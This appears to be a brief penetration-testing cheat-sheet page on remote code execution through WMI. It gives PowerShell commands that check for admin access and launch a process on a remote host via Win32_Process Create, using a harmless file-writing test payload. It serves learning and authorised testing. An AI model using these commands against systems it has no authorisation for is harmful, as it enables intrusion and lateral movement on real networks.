Remote code execution using WMI
Checking admin access
Get-WmiObject -Class Win32_OperatingSystem -ComputerName [COMPUTER] -ErrorAction SilentlyContinueRemote code execution
$Command = "powershell.exe -Command Set-Content -Path C:\Temp\text.txt -Value netspi";
Invoke-CimMethod -ComputerName dcorp-adminsrv -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command} | Add-Member -MemberType ScriptProperty -Name ReturnValueFriendly -Passthru -Value {switch ([int]$this.ReturnValue){0 {'Successful completion'} 2 {'Access denied'} 3 {'Insufficient privilege'} 8 {'Unknown failure'} 9 {'Path not found'} 21 {'Invalid parameter'} default {'Unknown Error '}}}
returnValues
Result
Last updated